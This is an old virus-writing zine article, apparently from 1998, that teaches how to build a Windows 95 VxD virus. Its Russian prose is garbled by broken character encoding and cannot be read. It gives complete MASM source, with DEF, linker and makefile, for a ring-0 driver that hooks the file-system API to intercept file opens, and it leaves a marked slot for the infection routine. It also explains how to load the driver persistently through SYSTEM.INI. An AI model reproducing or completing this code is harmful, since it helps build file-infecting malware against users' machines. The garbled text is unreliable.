INFECTED VOICE 98'09 http://sourceofkaos.com/stealth


					C:\>peace
					Bad command or filename
							(c) MS DOS

 ---------------------------------------------------------------------------

            ᭮ ਥ஢ 㪮⢮  ᠭ VxD
                              : GriYo/29A

 㪮⢮  ⮫쪮 ࢮ砫쭮   ணࠬ஢
VxD. ⮡   ।⠢  । ࠧ,  㦭
 襥 祬   䠩.

 ⠪ VxD?
--------------

H -, 筥  ⮣,     ᭮... VxD  32- ᮪
,  믮  饭 ०  ਢﬨ 0 (ring0).
  ᤥ ⮬,     ⥬묨 ᠬ (⠪ 
ࠩ   ⠫஢ ண).  ,   ⮣ ,
 ⠥ ᮬ  ⮬,     ⮬ ᭮?  Hᠭ VxD,
஫饣 ணࠬ (筮-!).  ⨦ ⮣  ᬮਬ 
  ,     訩  - 䠩 ⥬.

 祣 ?
-------------- 

। 砫,    ᪮쪮 ⨫.  ணࠬ 㯭 
  H⢮ (MSDN)   ᪮쪨 㣨 .   
筮 , ᫨   ᠭ VxD.
 
   - Microsoft Macro Assembler ( ᯮ 6.11c).
   - Linear-Executable Linker ( ᯮ 1.00.058).
   - ADDHDR.EXE  MAPSYM32.EXE  Microsoft SDK

     Win95, ᠭ  VxD, 㦥 砫 த
,  㦨   ⢮ த  .INC 䠩, 
室  樨 ᥣ ⮣ .    㦭 ᫥騥 䠩
 SDK:

   - VMM.INC   :  ⮬ 䠩     । ࢨᮢ VMM
   - DEBUG.INC : ⮫쪮 ᫨  㦭 ⫠
   - SHELL.INC :  䠩 । ࢨ,     
                 㭪 Windoze, ⠪  MessageBox.
   - IFS.INC 
   - IFSMGR.INC:   ⮫쪮 ᫨     䠩
                 ⥬ Windows95.

뫪    inc-䠩    室  ४⨢ .xlist
 .list

Hᠭ VxD
-------------

Hᠭ VxD - 㤥  ࠢ , ᫨  쬥 饭
ਬ,  㤥    ⠬,   .  ࠧ쥬 
ࠡ  ᪮쪮 ⠤.    ᬮ ⠫஢  ஢ ,
 ⮫쪮 稬 ࠡ  । ᪮.

ࢠ 筥  饭 VxD -  ᮤন ᥣ, VxD  ।
஫ ᮢ.    楤 樠樨  real-mode,
 (  㢨) 㤥 ᥬ ⭮ ஢મ  १ .
⥬  樠 VxD  墠 饭  䠩. ,   -
襬  ⠫ 楤 VxD.

 VxD
------------

 VxD     ࠧ ⨯ ଥ⮢.    
᢮ ᮡ⢥ ࠪ⨪.   ⮣, ⮡   ᥣ 
 ᯮ짮 ᫥騩 :

   - VxD_CODE_SEG  VxD_CODE_ENDS:   _LTEXT, -  ᥣ
     饭 ०.  ⮣ ᥣ 易⥫쭮.

   - VxD_DATA_SEG  VxD_DATA_ENDS: ⠪   _LDATA, । 
     ᥣ   쭮 ᯮ짮  VxD.  ⠪-
     㦭 .

   - VxD_ICODE_SEG  VxD_ICODE_ENDS:   _ITEXT.   
     । 砫   ᥣ 樠樨  -. 
     ᥣ 易⥫  ᢮,  ⮫쪮 樠 
     襭 (᫥ 祭 ᮮ饭 Init_Complete).

   - VxD_IDATA_SEG  VxD_IDATA_ENDS:   _IDATA,   
     ࠭  室  樠樨 ,   
     襭  ⮫쪮  稬 ᮮ饭 Init_Complete. ᯮ짮
     ⮣ ᥣ 易⥫쭮.

   - VxD_REAL_INIT_SEG  VxD_REAL_INIT_ENDS: 易⥫ ᥣ, 
      ⠪-  _RTEXT, ᮤন 楤,   㠫쭮
     設 (VMM - Virtual Machine Manager) 㤥 뢠 । 㧪
      ⠫ ⥩ VxD.  ᥣ ᢮  ⮫쪮 
     楤 ந  ࠢ.

  ᥣ,  ᪫祭 _RTEXT (樠樨  ॠ쭮 ०) -
ᥣ 饭 ०  flat  .  砥  
ᬥ饭 - 32-    ᯮ짮  "offset32" , 
 ࠭ ᠫ "offset".  CS, DS, ES  SS   ,  
    ᯮ짮 FS  GS.

 VxD
--------------

 ⮣, ⮡   VxD  㤥  ᫥騩 :

	Declare_Virtual_Device ,  ,  , ⮫쭠
	楤, ID ன⢠, 冷 樠樨, ࠡ稪 V86 API,
	ࠡ稪 - API

 ᥤ ⠫.. H    룫廊 譮, 
   ਬ,    ࢮ ⫥. 
 VxD   ViRuS,  㤥 ᨥ 1.0 襣 .

	Declare_Virtual_Device ViRuS,1,0,VxD_Control,Undefined_Device_ID,,,

 ,   ஫짮 ᫥ ࠬ, ⮬   (?) 
᭮ ।⠢ API  㣨 ணࠬ,  ᯮ짮 冷
樠樨.

VxD-ID
------

 ᫮, ஥   ⫨  VxD  㣮.  室
᫨ VxD ।⠢ API  㣨 ணࠬ,   㣨 VxD  
᢮ ࢨᠬ.  襬 砥  㤥 ᯮ짮 ID - Undefined_Device_ID.

஫쭠 楤 VxD
-------------------------

VMM 뫠 ஫ ᮮ饭  VxD, ᯮ  楤.  
   VxD  㯫 । ᮡ. 
襬 ᫥ ਬ, ஫쭠 楤 㤥 룫拉 ⠪:

   BeginProc VxD_Control   ;  ஫쭮 楤, ஥ 
                           ;    VxD

   Control_Dispatch Sys_Critical_Init, ViRuS_Critical_Init
   Control_Dispatch Device_Init, ViRuS_Device_Init

   EndProc VxD_Control

 ।塞,  楤  ᪠  祭 ⮣  
஫쭮 ᮮ饭. : ᫨ 祭 ᮮ饭 Sys_Critical_Init, 
㤥 ࠡ 楤 ViRuS_Critical_Init,  ᫨ 祭 ᮮ饭
Device_Init,   楤 ViRuS_Device_Init.

⥬ ஫ 饭
-------------------------------

  㦥 ᪠, VMM 뫠 ᮮ饭  VxD  ⮬  ந諮
।   ⥬.    直 ᮮ饭,  
⮫쪮 稭,     쪮 ᪮쪮:

   - Sys_Critical_Init:  ࢮ ᮮ饭, ஥   VxD. 
      뢠   ࠧ襭,  Simulate_Int  Exec_Int   
      ᯮ짮. 㣨 ࢨ  襬 ᯮ殮 (⠪  
     Get_Exec_Path,  ᭠   ⠫,  ⠫஢
      VxD).

   - Device_Init: ஥ ᮮ饭,   ,  뢠 㦥
     㯭.   ,     䠩 ⥬.

   - Init_Complete: ,   ᮮ饭 ⭮饥  
     ⥬.  室  楤, ࠡ뢠饩  ᮮ饭, VMM
     ᢮ ᥣ,   室     樠樨
     (᫥⥫쭮 _ITEXT  _IDATA).

   - System_Exit:  ࢮ ᮮ饭  ,   稬 ᫨
     ⥬ ⮢  १㧪  몫祭.  뢠
     ࠧ襭, ࢨ Simulate_Int  Exec_Int 㦥   
     ᯮ짮.

   - Sys_Critical_Exit: ᫥ ᮮ饭  몫祭,  㬠 
      ᭮...

 ⮣, ⮡ Win95 㧨  VxD,    
DEVICE=VIRUS.VxD,  ᥪ [386Enh] 䠩 SYSTEM.INI, ⮬ ᪮஢ VxD 
⠫ \SYSTEM  १㧨. 㣮 襭 , ਬ,  
Win95.Lizard ᠭ Reptile/29A.  砥  ᯮ짮
⠫ \IOSUBSYS

Windows95  㦠 VxD ᪨,   祭 ᭮.  
ॡ ᯮ짮 㣨 ᮮ饭,  ᮮ  ᪮ 
 ⮯.  孨  ᠭ , ⮬    ᫮ 
⮬-  (#$%&%*^  )   ஢ ⮪ ᢮  
뢠 ⮩ 䨣! :P))

樠  ॠ쭮 ०
-------------------------------

 ⢥  VxD,  ᯮ  ॠ쭮 ०. 
᪠  砫  㧪  樠樨.  楤 
 ᯮ짮 ⮡ । 㧪 VxD, 㧪 Windows,  ..
 㤥 ᯫ짮   ஢ન  १ , ⮡ 
୮ 㧪 VxD ᫨  㦥 㦥. VMM 뢠  楤 
᫥騬 ࠬࠬ:

   AX  ->  ᨨ VMM.

           AH ->  .
           AL ->  .

   BX  -> 䫠  㧪.

           Duplicate_Device_ID  -> VxD  ⠪- ID 㦥 㦥.
           Duplicate_From_INT2F -> ⮦ ᠬ,   int 2Fh.
           Loading_From_INT2F   -> ᠬ ᥡ  :)

   ECX -> 32-bit 㪠⥫, 㪠뢠騩   室 楤 ࢨᮢ
          樠樨,    ⠨   
	  ॣ  SYSTEM.INI.

   EDX -> 㪠⥫    int 2fh,  null.

   SI  -> ᥣ ஭,   ।  MS-DOS.

H VxD  ⠢ VMM 믮  ⢨, ⠪ 
१ࢨ஢ 䨧᪨ ࠭, 饭 ᫥ ࠬ஢:

   AX  -> ⢨.

           Abort_Device_Load:  祭  ୥, ᫨ VMM ᪠ 
	    VxD  ⠪- VxD-ID 㦥 㦥. ।頥 㧪
	   VxD,  ᯮ 㣨 VxD.

           Abort_Win386_Load:  VMM,   ⥫   
	   ᮡ쨬,     ᮢᥬ  㦠 Windows 
	   (  ࠢ ᪮  ⠪ ந) :P

           Device_Load_Ok:  VMM 砥  祭,  
	    樠   ஡,   㧪 
	   த.

           No_Fail_Message:  祭 ᯮ  樨  
	   Abort_Device_Load  Abort_Win386_Load 管 । 
	    ᮮ饭  訡,   뢠 
	   ⬥ 㧪 Win  VxD.

   BX  -> 㪠뢠  ᨢ  ⢮ ࠭, १ࢨ㥬 
          VxD.  ᨢ 稢 NULL  ᮤন ࠭  ।
	   0000h  0100h. ᫨   ⨬ 祣 १ࢨ஢, 
	  祭 㤥 ࠢ 0000h.

   EDX ->  ᠭ,     00000000h.

   SI  -> instance , ⮦ ⠢  0000h.

  ࢨ VMM
--------------------------

 㠫쭮 設 (VMM) -   樮 ⥬, ⠪ 
 㯠 ᥬ 㠫묨 設. ஬ ⮣,   ।⠢ 
 ࢨ,       ਬ:

    Get_Cur_VM_Handle
    -----------------
    頥  EBX  㠫쭮 設,  ᯮ .

        VMMcall Get_Cur_VM_Handle
        mov [VM_handle],ebx
    
   Get_Sys_VM_Handle
   -----------------
   頥  EBX  ⥬ VM

        VMMcall Get_Sys_VM_Handle
        mov [SysVM_handle],ebx

   Get_VMM_Version
   ---------------
   頥 ଠ  ᨨ VMM.


        VMMcall Get_VMM_Version
        mov [Major],ah                  ; 訩  ᨨ
        mov [Minor],al                  ; 訩  ᨨ
        mov [Debug],ecx                 ; H ॢ  


   Get_Config_Directory
   --------------------
    ᭠ 㭪 ᭠   ⥬  ⠫,  Windows
   ࠭ ⥬ 䠩 (⠪  SYSTEM.INI).

        VMMcall Get_Config_Directory
        mov [win_path],edx

   Get_Exec_Path
   -------------
   頥 㪠⥫  ,  Windows ন 䠩 VMM32.VXD. 
   㤥 訬 ⠫  襣 ᭮ VxD,   㤥 
    ⥬묨 䠩  \SYSTEM.

        VMMcall Get_Exec_Path
        mov [path_ptr],edx
        mov [length],ecx

    ECX ᮤন ᫮ ᨬ  ப,  ᫥
     "\".

   _HeapAllocate
   -------------
   뤥   heap.

        VMMcall _HeapAllocate,<#bytes,flags>

        or eax,eax                      ; eax = 00h ᫨ 訡
        jz not_allocated
        mov [block_ptr], eax            ; ⥫  뤥 


        #bytes -> । ᪮쪮   뤥

        flags  ->  ᮤঠ ᫥騥 䫠:

           HEAPLOCKEDIFDP: 뤥  ,   㤥
	   ᢮, ᫨  ᢮஢  ᯮ짮 㭪樨
	   MS-DOS  BIOS

           HEAPINIT:  䫠   㪠 ⮫쪮  
	   樠樨.  뤥  ,  㤥 
	   ⮬᪨ ᢮,  ⮫쪮  㤥 祭.

           HEAPSWAP:  뤥  ࠭筮 (᢮㥬) 
	   .
	   
           HEAPZEROINIT: 뤥   00h

   _HeapFree
   ---------
   ᢮  ,   뤥   ।饩
   㭪樨.

        VMMcall _HeapFree,<block_ptr,flags>

        or eax,eax                      ; eax = 00h ᫨ 訡
        jz error


   Hook_V86_Int_Chain
   ------------------
     ࠡ稪  V86 뢠.  Gollum ᯮ 
   ࢨ ⮡ 墠 맮 int 21h.
   
        mov eax,int_number              ; H 뢠
        mov esi,OFFSET32 my_handler     ; ⥫   ࠡ稪
        VMMcall Hook_V86_Int_Chain
        jc error                        ;  ७ ⠭
	                                ;  訡

   ⥬ 㤥 뢠  ࠡ稪 ਬ୮ ⠪:

        mov eax,int_number              ; 뢠
        mov ebx, VM                     ;  ⥪饩 VM
        mov ebp, OFFSET32 crs           ; ⥫  Client_Reg_Struc
        call [my_handler]

        jc pass_to_next                 ;  ७ ⠭ ᫨
                                        ; 㭪  ࠡ⠭

       Unhook_V86_Int_Chain,  ।祭 - 㤠
   ࠡ稪, ⠪   ⮫쪮  ⠭.

        mov eax,int_number              ; H 뢠
        mov esi,OFFSET32 Hook_Proc      ;  楤,  㤥
					; 㤠  楯窨 ࠡ稪

        VMMcall Unhook_V86_Int_Chain
        jc error                        ;  ७ ⠭
	                                ;  訡

⠫㥬  ⥬ (IFS)
-------------------------------------

 室  㭪樨,   ⥭쪮 ᯮ짮  MS DOS, 
   뢠 䠩,  ,  . ...   㤥 ⠬,
   墠  饭   䠩,  ࠧ . H, 
㤥 ᫥⥫.

⮡ த   ⢨  䠩,  ᯮ㥬 ࢨᮬ,
   믮 ⠪  樨  ⥭,   .
 :

        mov eax,R0_OPENCREATFILE        ; 㭪,   ⨬ 맢

                                        ; ॡ㥬 ࠬ
        mov cx,0                        ; - ਡ
        mov bx,2                        ; - 
        mov dx,0011h                    ; - ⢨  ᯥ樠 䫠
        mov esi,OFFSET32 filename       ; -  祣??? ;)

        VxDCall IFSMgr_Ring0_FileIO     ;  , ᠬ 맮

 ⢥ ,     -  뢠 
㭪,   ।  ࠬ.  ਢ ଠ 맮
㭪権,   㤥 ᯮ짮  :


   OpenCreateFile
   --------------
   㤥 ᯮ짮  㭪, ⮡ 뢠  ᮧ 䠩.
   ࠬ 맮:

        EAX -> 㭪 R0_OPENCREATFILE
        BX  -> ०   䫠 *
        CX  -> ਡ
        DH  -> ᯥ樠 䫠 (R0_NO_CACHE, R0_SWAPPER_CALL)
        DL  -> ⢨, ஥  믮 *
        ESI -> 㪠⥫  ப   䠩

   頥 祭:

        ᫨ CF=0

           EAX ->  䠩
           ECX -> 믮 ⢨ *

        ᫨ CF=1 訡

   * =  int 21h 㭪 6ch


   ReadFile
   --------
   
     R0_READFILE  㤥   㦥  (㭪樥
   R0_OPENCREATEFILE) 䠩.     ᫥ ࠬ஢:

        EAX -> R0_READFILE
        EBX ->  䠩
        ECX -> ᪮쪮 ⮢ 
        EDX ->   䠩,   ⥭
        ESI -> 㪠⥫  , 㤠   饭

   H 室:

        ᫨ CF=0  ECX = ⢮ ⠭ 
        ᫨ CF=1 訡


   WriteFile
   ---------
   H ,   䠩. ࠬ:

        EAX -> R0_WRITEFILE
        EBX ->  䠩
        ECX -> ᪮쪮  
        EDX ->   䠩,  ண  
        ESI -> 㪠⥫  ,   ⨬ 

   H 室:

        ᫨ CF=0  ECX = ⢮ ᠭ 
        ᫨ CF=1 訡


   CloseFile
   ---------
   , ⮡  ⮫쪮  ࠦ 䠩 ;) ࠬ:

        EAX -> R0_CLOSEFILE
        EBX ->  䠩

   H 室:

        ᫨ CF=0  䠩  㤠筮 
        ᫨ CF=1 訡 (AX =  訡)


   GetFileSize
   -----------
    祬  㬠,    ਣ? 뢠  ⨬ ࠬࠬ:

        EAX -> R0_GETFILESIZE
        EBX ->  䠩

    १:

        ᫨ CF=0  EAX = ࠧ 䠩  
        ᫨ CF=1 訡 (AX =  訡)

筮,    אַ ᥩ... ,    㦭 ᪮쪮
㭪権, ⠪  FileAttributes, RenameFile, DeleteFile, 
GetDiskFreeSpace.   ⭠ , -   
WriteAbsoluteDisk d ReadAbsoluteDisk, ⮡   , ᫨  
 ⪨ ᪨...  ;)

  㦥   ࠡ  䠩. H     
䠩 ⥬, ⮡  ᬮ ᫥   ⢨ﬨ.  㤥
ᯮ짮 IFS  ਬ୮ ⠪:

        mov eax,OFFSET32 hook_procedure         ; ࠡ稪
        push eax                                
        VxDCall IFSMgr_InstallFileSystemApiHook 
        add esp,0004h                           
        or eax,eax                              
        jz error
        mov dword ptr [prev_hook],eax		; ।饣
        ; த  樠樨
        clc
        ret
 error:
        stc
        ret

   ᮮ 䠩 ⥬  襣 ࠡ稪. ᬮਬ 
ਬ ⮣ ᠬ ࠡ稪:

hook_procedure:

        ;  C-맮 ... ...
        push ebp
        mov ebp,esp
        sub esp,20h

        ;  ⮣ ,    ࠬ
        ; ᯮ ⥪

        ; ebp+00h -> ࠭ 祭 EBP.
        ; ebp+04h ->  .
        ; ebp+08h ->  FSD 㭪樨,  뢠 
        ;            ⮣ API.
        ; ebp+0Ch ->  㭪樨,   믮
        ; ebp+10h ->  ᪠,  ஬  ந室 (1 = A:, 
	;            -1 ᫨ UNC)
        ; ebp+14h -> ⨯ ᪠
        ; ebp+18h ->  ࠭,  ன  ࠫ ᢮ ப
        ;            BCS_ANSI = ANSI, BCS_OEM = OEM
        ; ebp+1Ch -> 㪠⥫   맮 IFS  (IOREQ)

        ;            ᥣ 20h 

        ; 饥,   ᤥ - ஢ਬ,  뫮   訬 
	; ᮡ⢥ 맮  ࠦ 䠩

        ; ᯮ 䫠 ,   ᪮筮 横.

        cmp dword ptr [our_own_call],"BUSY"
        je exit_FS_hook

        ;   ஢ਬ,  㭪 뫠 맢

        cmp dword ptr [ebp+0Ch],IFSFN_OPEN
        je virus_OPEN_FILE

exit_FS_hook:

        mov eax,dword ptr [ebp+1Ch]
        push eax
        mov eax,dword ptr [ebp+18h]
        push eax
        mov eax,dword ptr [ebp+14h]
        push eax
        mov eax,dword ptr [ebp+10h]
        push eax
        mov eax,dword ptr [ebp+0Ch]
        push eax
        mov eax,dword ptr [ebp+08h]
        push eax

        ;  , 맮 । 㭪 IFS

        mov eax,dword ptr [Prev_IFS_Hook]
        call dword ptr [eax]

        ; 楤   ⥪ । ⮬

        add esp,00000018h

        ; 

        leave
        ret

஢ 
---------------------

 ப ,  IFS ய᪠  FSD - ᠭ  Unicode. 
஢ ,  ⫨  ண ண C:\DOS ( 
 ⠪   ;)

   ⠢ :
 
   1 ᫮ (WORD) ᮤঠ饥  ப (  ᫮   
   饣 㫥 (NULL) ᨬ.
        
   1 ᫮ (WORD) ᮤঠ饥 ᬥ饭  ⮩  ப, 
   뢠 ,    ᮤন  ଠ樨  

     .   ⠢  1 ᫮ (WORD),
   ᮤঠ饣  (  ᠬ ᫮)  ᫥  
   Unicode ப   ⮣ .

 ஢  ᮤঠ  ᥡ    ୥ ⠫.
 
 ࢨ ⠫㥬  ⥬ (IFS)
 ---------------------------------------------

H   ࢨᮢ  C-ଠ 맮, ⠪  ࠬ ࠭ 
⥪. 㣨 - ᠭ ⮡ 뢠  ASM,  ॡ 㧪
ࠬ஢  ॣ. ⢥ ࢨ,  㤥   
ᥩ - IFSMgr _GetVersion,    ஢  IFS.
 

   IFSMgr_GetVersion

        H 室:

           H   ࠬ஢  :)

        H 室:

           ᫨ CF=0  EAX ᮤন  IFS 
           ᫨ CF=1 訡


 饭 VxD 
 --------------------

 ਬ 饭 VxD ,     ⥫
.  ஥ ⠢  ᫥ 䠩:
 
        VIRUS.ASM               ; ASM 室 VxD 
        VIRUS.DEF               ;  । 㫥
        VIRUS.LNK               ;   ﬨ  騪
        MAKEFILE                ;  

; - -[VIRUS.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

MASM=1

	.386p
	.XLIST
        INCLUDE VMM.Inc
	INCLUDE ifs.inc
	INCLUDE ifsmgr.inc
        INCLUDE SheLL.Inc

	.LIST

Declare_Virtual_Device VXD, 1, 0, VXD_Control, Undefined_Device_ID ,,,

VxD_REAL_INIT_SEG

;--------------------------------------------------------------------------- 
;   樠樨  ॠ쭬 ०  win95                              
;L---------------------------------------------------------------------------

BeginProc VxD_Real_Init_Proc

        ; ஢ઠ  १ 

        test bx,Duplicate_Device_ID
        jnz short abort_virus_load

        ; H  (exclusion/instance/reference)  ᯮ 

        xor bx,bx
        xor si,si
        xor edx,edx

        ; H 饭 - ⠫஢

        mov ax,Device_Load_Ok
	ret

abort_virus_load:

        ; ࢠ 㧪

        mov ax,Abort_Device_Load or No_Fail_Message
	ret

EndProc VxD_Real_Init_Proc

VxD_REAL_INIT_ENDS

VxD_LOCKED_DATA_SEG

	;     祭 ᥣ , ⮬ 
	;   祭 ᥣ 

VxD_LOCKED_CODE_SEG

;--------------------------------------------------------------------------- 
;  樠 ன⢠ Virus95                                          
;L---------------------------------------------------------------------------

BeginProc VXD_Device_Init

	;   樠樨, 室  VxD_LOCKED_CODE_SEG
        ; ⮡     ᢮     IFS.

        ; ஢  IFS

        cld
        VxDCall IFSMgr_Get_Version
        jc exit_device_init

        ;    WIN386.EXE

        VMMCall Get_Exec_Path

        ; ஢    

        mov esi,edx
        mov edi,OFFSET32 VxD_File_Name
        cld
        rep movsb

        ;   襣 VxD 䠩, ࠧ ᫥ 

        mov esi,OFFSET32 virus_VxD_Name
        mov ecx,0Bh
        cld
        rep movsb

	;  ⮣       襣 VxD
	;  אַ  㧥 ⠫ \SYSTEM ...
	;      ,  ஢ 
	;   ࠦ 䠩

	; 騩 ࢨ 뢠 ⮡ 墠 API 䠩 ⥬.
	;    맢, ᫨ VxD    맮 API
	;     直  㪨.
	;  IFS 頥 㪠⥫  ᫥騩 ࠡ稪  楯窥
        
        mov eax,OFFSET32 virus_FS_Monitor
        push eax
        VxDCall IFSMgr_InstallFileSystemApiHook

	; ᫨  맮 㤠祭 ( ଥ  墠⨫),
	;  頥 0

        add esp,00000004h
        
        or eax,eax
        jz error_device_init
        mov dword ptr [Prev_IFS_Hook],eax

exit_device_init:

        ; த  樠樨

        clc  
	ret

error_device_init:
        stc
        ret

EndProc VXD_Device_Init

;--------------------------------------------------------------------------- 
;  ࠡ稪 䠩 API Virus'-95                                       
;L---------------------------------------------------------------------------

BeginProc virus_FS_Monitor

        ; ... ᯮ㥬 C-ᮣ襭  맮

        push ebp
        mov ebp,esp
        sub esp,20h

        ; ࠬ  ⥪:

        ; ebp+00h -> ࠭ 祭 EBP.
        ; ebp+04h ->  .
        ; ebp+08h ->  FSD 㭪樨,  뢠 
        ;            ⮣ API.
        ; ebp+0Ch ->  㭪樨,   믮
        ; ebp+10h ->  ᪠,  ஬  ந室 (1 = A:, 
	;            -1 ᫨ UNC)
        ; ebp+14h -> ⨯ ᪠
        ; ebp+18h ->  ࠭,  ன  ࠫ ᢮ ப
        ;            BCS_ANSI = ANSI, BCS_OEM = OEM
        ; ebp+1Ch -> 㪠⥫   맮 IFS  (IOREQ)

        ;            ᥣ 20h 

        ; ஢ਬ,   ࠡ뢠-  ᢮ ᮡ⢥ 맮?

        cmp dword ptr [our_own_call],"BUSY"
        je exit_FS_hook

        ; ஢ਬ  OPEN
        ;  㭪 ⠪- 뢠  ᯮ 䠩...

        cmp dword ptr [ebp+0Ch],IFSFN_OPEN
        je virus_OPEN_FILE

exit_FS_hook:

        ; ਣ⮢ ࠬ  맮 ।饣 ࠡ稪 FS API

        mov eax,dword ptr [ebp+1Ch]
        push eax
        mov eax,dword ptr [ebp+18h]
        push eax
        mov eax,dword ptr [ebp+14h]
        push eax
        mov eax,dword ptr [ebp+10h]
        push eax
        mov eax,dword ptr [ebp+0Ch]
        push eax
        mov eax,dword ptr [ebp+08h]
        push eax

        ; 맮 

        mov eax,dword ptr [Prev_IFS_Hook]
        call dword ptr [eax]

        ; ࠡ稪 IFS 맮   ⥪ । 
	; ⮬ ࠢ

        add esp,00000018h

        ; H, 㤠 맢

        leave
        ret

;--------------------------------------------------------------------------- 
;  /ᮧ 䠩                                                      
;L---------------------------------------------------------------------------

virus_OPEN_FILE:

        ; ࠭ ॣ
        pushfd
        pushad

        ; ⠢  䫠 
        mov dword ptr [our_own_call],"BUSY"

        ;     ࠦ 䠩
       
        ; ⨬  䫠 

        mov dword ptr [our_own_call],"FREE"

        ; ⠭ ॣ

        popad
        popfd
        jmp exit_FS_hook                             
         
EndProc virus_FS_Monitor

;--------------------------------------------------------------------------- 
;  ஫ 楤 VxD Virus95                                          
; (,   ᨢ 뫮  ᪮ - Virus95 VxD control dispatcher) 
;L---------------------------------------------------------------------------

BeginProc VXD_Control

        Control_Dispatch Device_Init, VxD_Device_Init       
        clc
	ret

EndProc VXD_Control

VxD_LOCKED_CODE_ENDS

;--------------------------------------------------------------------------- 
;     祭 ᥣ                                 
;L---------------------------------------------------------------------------

Prev_IFS_Hook           dd 00000000h            ;।騩 ࠡ稪 IFS
our_own_call            db "EERF"
VxD_File_Name           db 80h dup (00h)        ;  VxD-
virus_VxD_Name          db "virus.VXD",00h      ; 䠩 VxD-

VxD_LOCKED_DATA_ENDS

	END

; - -[VIRUS.DEF]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

LIBRARY     VXD
DESCRIPTION 'ViRuS95'
EXETYPE     DEV386

SEGMENTS
            _LTEXT PRELOAD NONDISCARDABLE
            _LDATA PRELOAD NONDISCARDABLE
            _ITEXT CLASS 'ICODE' DISCARDABLE
            _IDATA CLASS 'ICODE' DISCARDABLE
            _TEXT  CLASS 'PCODE' NONDISCARDABLE
            _DATA  CLASS 'PCODE' NONDISCARDABLE

EXPORTS
            VXD_DDB @1

; - -[VIRUS.LNK]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

VIRUS.obj
VIRUS.vxd /NOI /NOD /NOP
VIRUS.map /MAP

VIRUS.def

; - -[MAKEFILE] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

NAME = VIRUS

LINK = link386.exe

!ifdef DEBUG
DDEBUG  =-DDEBLEVEL=1 -DDEBUG
!else
DDEBUG  =-DDEBLEVEL=0
!endif

all : VIRUS.vxd

ASM    = ml
#AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG)
AFLAGS = -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG)
ASMENV = ML

VIRUS.vxd: VIRUS.def VIRUS.obj
        link386 @VIRUS.lnk
        addhdr VIRUS.vxd
        mapsym32 VIRUS
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

 GriYo/29A

 I'm not in the business...
 ... I am the bussiness.

 ---------------------------------------------------------------------------

 X

 ⮡  ⠪ ...
 ...   ᪮ ࠧ  
 